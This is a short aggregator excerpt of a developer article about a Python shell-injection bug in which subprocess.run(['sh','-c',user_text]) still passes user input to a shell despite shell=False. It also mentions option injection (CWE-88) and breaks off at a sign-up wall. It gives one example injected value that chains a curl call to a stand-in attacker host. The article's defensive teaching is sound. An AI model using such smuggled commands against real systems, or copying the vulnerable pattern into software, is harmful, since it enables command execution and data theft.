Menu

A CI gate for the shell-injection bug that shell=False doesn't fix
πŸ“°

A CI gate for the shell-injection bug that shell=False doesn't fix

DEV Community: cicdΒ·Aurum RevenueΒ·12 days ago
#PPPophc0
#devtocicd#devto#dev#argv#shell
Long article (667 words) β€” no AI summary yet.
Reading 0:00
15s threshold

I review a lot of Python that calls other programs. The bug I keep finding is not the one everybody warns about.

Nobody writes subprocess.run(cmd, shell=True) any more. What they write is this:

subprocess . run ( [ "sh" , "-c" , user_text ] , check = True )

Enter fullscreen mode

Exit fullscreen mode

That is an argv list. shell=False is the default. It still hands user_text to a shell, because sh -c means "parse the next argument as a program." A value like status; curl attacker.example/x arrives as one perfectly well-behaved argv element, and sh splits it into two commands. The argv list stopped Python from splicing metacharacters into a string. It did nothing about a program whose entire job is to parse its argument.

Two quieter members of the same family turn up in review as well:

a value that begins with - reaches a tool as an option instead of a value (CWE-88).…

Continue reading β€” create a free account

Join HashtagPLUS to read full articles, follow hashtags, vote, and join the conversation.